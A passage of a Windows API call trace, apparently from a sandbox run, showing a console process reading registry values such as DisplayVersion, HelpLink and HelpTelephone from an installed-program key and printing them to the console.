[0148.335] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.335] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.335] GetProcessHeap () returned 0x2e0000 [0148.335] GetProcessHeap () returned 0x2e0000 [0148.335] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.335] GetProcessHeap () returned 0x2e0000 [0148.335] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.335] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.335] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.336] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x16) returned 0x0 [0148.336] GetProcessHeap () returned 0x2e0000 [0148.336] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fd1a0 [0148.336] GetProcessHeap () returned 0x2e0000 [0148.336] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.336] GetProcessHeap () returned 0x2e0000 [0148.336] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x18 [0148.336] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x16 | out: pdwType=0x23f5f0*=0x1, pvData="8.0.61000", pcbData=0x23f670*=0x14) returned 0x0 [0148.336] __iob_func () returned 0x7fefd702a80 [0148.336] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.336] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.336] _fileno (_File=0x7fefd702ab0) returned 1 [0148.336] _errno () returned 0xc4bb0 [0148.336] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.336] _errno () returned 0xc4bb0 [0148.336] GetFileType (hFile=0x50) returned 0x1 [0148.336] lstrlenW (lpString=" ") returned 4 [0148.336] GetConsoleOutputCP () returned 0x1b5 [0148.336] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.336] GetConsoleOutputCP () returned 0x1b5 [0148.336] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.336] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.336] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.336] lstrlenW (lpString="DisplayVersion") returned 14 [0148.336] __iob_func () returned 0x7fefd702a80 [0148.336] _fileno (_File=0x7fefd702ab0) returned 1 [0148.336] _errno () returned 0xc4bb0 [0148.336] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.336] _errno () returned 0xc4bb0 [0148.337] GetFileType (hFile=0x50) returned 0x1 [0148.337] lstrlenW (lpString="DisplayVersion") returned 14 [0148.337] GetConsoleOutputCP () returned 0x1b5 [0148.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.337] GetConsoleOutputCP () returned 0x1b5 [0148.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0148.337] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0148.337] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.337] __iob_func () returned 0x7fefd702a80 [0148.337] _fileno (_File=0x7fefd702ab0) returned 1 [0148.337] _errno () returned 0xc4bb0 [0148.337] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.337] _errno () returned 0xc4bb0 [0148.337] GetFileType (hFile=0x50) returned 0x1 [0148.337] lstrlenW (lpString=" ") returned 4 [0148.337] GetConsoleOutputCP () returned 0x1b5 [0148.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.337] GetConsoleOutputCP () returned 0x1b5 [0148.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.337] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.337] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.338] __iob_func () returned 0x7fefd702a80 [0148.338] _fileno (_File=0x7fefd702ab0) returned 1 [0148.338] _errno () returned 0xc4bb0 [0148.338] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.338] _errno () returned 0xc4bb0 [0148.338] GetFileType (hFile=0x50) returned 0x1 [0148.338] lstrlenW (lpString="REG_SZ") returned 6 [0148.338] GetConsoleOutputCP () returned 0x1b5 [0148.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.338] GetConsoleOutputCP () returned 0x1b5 [0148.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.338] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.338] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.338] __iob_func () returned 0x7fefd702a80 [0148.338] _fileno (_File=0x7fefd702ab0) returned 1 [0148.338] _errno () returned 0xc4bb0 [0148.338] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.338] _errno () returned 0xc4bb0 [0148.338] GetFileType (hFile=0x50) returned 0x1 [0148.338] lstrlenW (lpString=" ") returned 4 [0148.338] GetConsoleOutputCP () returned 0x1b5 [0148.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.338] GetConsoleOutputCP () returned 0x1b5 [0148.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.339] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.339] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.339] __iob_func () returned 0x7fefd702a80 [0148.339] _fileno (_File=0x7fefd702ab0) returned 1 [0148.339] _errno () returned 0xc4bb0 [0148.339] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.339] _errno () returned 0xc4bb0 [0148.339] GetFileType (hFile=0x50) returned 0x1 [0148.339] lstrlenW (lpString="8.0.61000") returned 9 [0148.339] GetConsoleOutputCP () returned 0x1b5 [0148.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="8.0.61000", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.339] GetConsoleOutputCP () returned 0x1b5 [0148.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="8.0.61000", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.0.61000", lpUsedDefaultChar=0x0) returned 9 [0148.339] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.339] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.339] __iob_func () returned 0x7fefd702a80 [0148.339] _fileno (_File=0x7fefd702ab0) returned 1 [0148.339] _errno () returned 0xc4bb0 [0148.339] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.339] _errno () returned 0xc4bb0 [0148.339] GetFileType (hFile=0x50) returned 0x1 [0148.339] lstrlenW (lpString="\n") returned 1 [0148.339] GetConsoleOutputCP () returned 0x1b5 [0148.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.340] GetConsoleOutputCP () returned 0x1b5 [0148.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.340] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.340] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.340] GetProcessHeap () returned 0x2e0000 [0148.340] GetProcessHeap () returned 0x2e0000 [0148.340] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.340] GetProcessHeap () returned 0x2e0000 [0148.340] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x18 [0148.340] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0148.340] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.340] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.340] GetProcessHeap () returned 0x2e0000 [0148.340] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.340] GetProcessHeap () returned 0x2e0000 [0148.340] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.340] GetProcessHeap () returned 0x2e0000 [0148.340] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.340] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.340] __iob_func () returned 0x7fefd702a80 [0148.340] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.340] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.340] _fileno (_File=0x7fefd702ab0) returned 1 [0148.340] _errno () returned 0xc4bb0 [0148.340] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.340] _errno () returned 0xc4bb0 [0148.340] GetFileType (hFile=0x50) returned 0x1 [0148.341] lstrlenW (lpString=" ") returned 4 [0148.341] GetConsoleOutputCP () returned 0x1b5 [0148.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.341] GetConsoleOutputCP () returned 0x1b5 [0148.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.341] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.341] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.341] lstrlenW (lpString="HelpLink") returned 8 [0148.341] __iob_func () returned 0x7fefd702a80 [0148.341] _fileno (_File=0x7fefd702ab0) returned 1 [0148.341] _errno () returned 0xc4bb0 [0148.341] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.341] _errno () returned 0xc4bb0 [0148.341] GetFileType (hFile=0x50) returned 0x1 [0148.341] lstrlenW (lpString="HelpLink") returned 8 [0148.341] GetConsoleOutputCP () returned 0x1b5 [0148.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.341] GetConsoleOutputCP () returned 0x1b5 [0148.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0148.341] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.342] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.342] __iob_func () returned 0x7fefd702a80 [0148.342] _fileno (_File=0x7fefd702ab0) returned 1 [0148.342] _errno () returned 0xc4bb0 [0148.342] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.342] _errno () returned 0xc4bb0 [0148.342] GetFileType (hFile=0x50) returned 0x1 [0148.342] lstrlenW (lpString=" ") returned 4 [0148.342] GetConsoleOutputCP () returned 0x1b5 [0148.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.342] GetConsoleOutputCP () returned 0x1b5 [0148.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.342] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.342] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.342] __iob_func () returned 0x7fefd702a80 [0148.342] _fileno (_File=0x7fefd702ab0) returned 1 [0148.342] _errno () returned 0xc4bb0 [0148.342] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.342] _errno () returned 0xc4bb0 [0148.342] GetFileType (hFile=0x50) returned 0x1 [0148.342] lstrlenW (lpString="REG_SZ") returned 6 [0148.342] GetConsoleOutputCP () returned 0x1b5 [0148.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.343] GetConsoleOutputCP () returned 0x1b5 [0148.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.343] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.343] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.343] __iob_func () returned 0x7fefd702a80 [0148.343] _fileno (_File=0x7fefd702ab0) returned 1 [0148.343] _errno () returned 0xc4bb0 [0148.343] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.343] _errno () returned 0xc4bb0 [0148.343] GetFileType (hFile=0x50) returned 0x1 [0148.343] lstrlenW (lpString=" ") returned 4 [0148.343] GetConsoleOutputCP () returned 0x1b5 [0148.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.343] GetConsoleOutputCP () returned 0x1b5 [0148.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.343] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.343] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.343] __iob_func () returned 0x7fefd702a80 [0148.343] _fileno (_File=0x7fefd702ab0) returned 1 [0148.343] _errno () returned 0xc4bb0 [0148.343] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.343] _errno () returned 0xc4bb0 [0148.343] GetFileType (hFile=0x50) returned 0x1 [0148.343] lstrlenW (lpString="") returned 0 [0148.344] __iob_func () returned 0x7fefd702a80 [0148.344] _fileno (_File=0x7fefd702ab0) returned 1 [0148.344] _errno () returned 0xc4bb0 [0148.344] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.344] _errno () returned 0xc4bb0 [0148.344] GetFileType (hFile=0x50) returned 0x1 [0148.344] lstrlenW (lpString="\n") returned 1 [0148.344] GetConsoleOutputCP () returned 0x1b5 [0148.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.344] GetConsoleOutputCP () returned 0x1b5 [0148.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.344] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.344] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.344] GetProcessHeap () returned 0x2e0000 [0148.344] GetProcessHeap () returned 0x2e0000 [0148.344] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.344] GetProcessHeap () returned 0x2e0000 [0148.344] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.344] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.344] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.344] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.344] GetProcessHeap () returned 0x2e0000 [0148.344] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.344] GetProcessHeap () returned 0x2e0000 [0148.344] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.344] GetProcessHeap () returned 0x2e0000 [0148.344] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.344] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.345] __iob_func () returned 0x7fefd702a80 [0148.345] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.345] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.345] _fileno (_File=0x7fefd702ab0) returned 1 [0148.345] _errno () returned 0xc4bb0 [0148.345] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.345] _errno () returned 0xc4bb0 [0148.345] GetFileType (hFile=0x50) returned 0x1 [0148.345] lstrlenW (lpString=" ") returned 4 [0148.345] GetConsoleOutputCP () returned 0x1b5 [0148.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.345] GetConsoleOutputCP () returned 0x1b5 [0148.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.345] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.345] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.345] lstrlenW (lpString="HelpTelephone") returned 13 [0148.345] __iob_func () returned 0x7fefd702a80 [0148.345] _fileno (_File=0x7fefd702ab0) returned 1 [0148.345] _errno () returned 0xc4bb0 [0148.345] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.345] _errno () returned 0xc4bb0 [0148.345] GetFileType (hFile=0x50) returned 0x1 [0148.345] lstrlenW (lpString="HelpTelephone") returned 13 [0148.345] GetConsoleOutputCP () returned 0x1b5 [0148.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.346] GetConsoleOutputCP () returned 0x1b5 [0148.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0148.346] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.346] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.346] __iob_func () returned 0x7fefd702a80 [0148.346] _fileno (_File=0x7fefd702ab0) returned 1 [0148.346] _errno () returned 0xc4bb0 [0148.346] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.346] _errno () returned 0xc4bb0 [0148.346] GetFileType (hFile=0x50) returned 0x1 [0148.346] lstrlenW (lpString=" ") returned 4 [0148.346] GetConsoleOutputCP () returned 0x1b5 [0148.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.346] GetConsoleOutputCP () returned 0x1b5 [0148.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.346] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.346] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.346] __iob_func () returned 0x7fefd702a80 [0148.346] _fileno (_File=0x7fefd702ab0) returned 1 [0148.346] _errno () returned 0xc4bb0 [0148.346] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.347] _errno () returned 0xc4bb0 [0148.347] GetFileType (hFile=0x50) returned 0x1 [0148.347] lstrlenW (lpString="REG_SZ") returned 6 [0148.347] GetConsoleOutputCP () returned 0x1b5 [0148.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.347] GetConsoleOutputCP () returned 0x1b5 [0148.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.347] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.347] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.347] __iob_func () returned 0x7fefd702a80 [0148.347] _fileno (_File=0x7fefd702ab0) returned 1 [0148.347] _errno () returned 0xc4bb0 [0148.347] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.347] _errno () returned 0xc4bb0 [0148.347] GetFileType (hFile=0x50) returned 0x1 [0148.347] lstrlenW (lpString=" ") returned 4 [0148.347] GetConsoleOutputCP () returned 0x1b5 [0148.347] WideCharToMultiByte (in: CodePage=0x1b5, 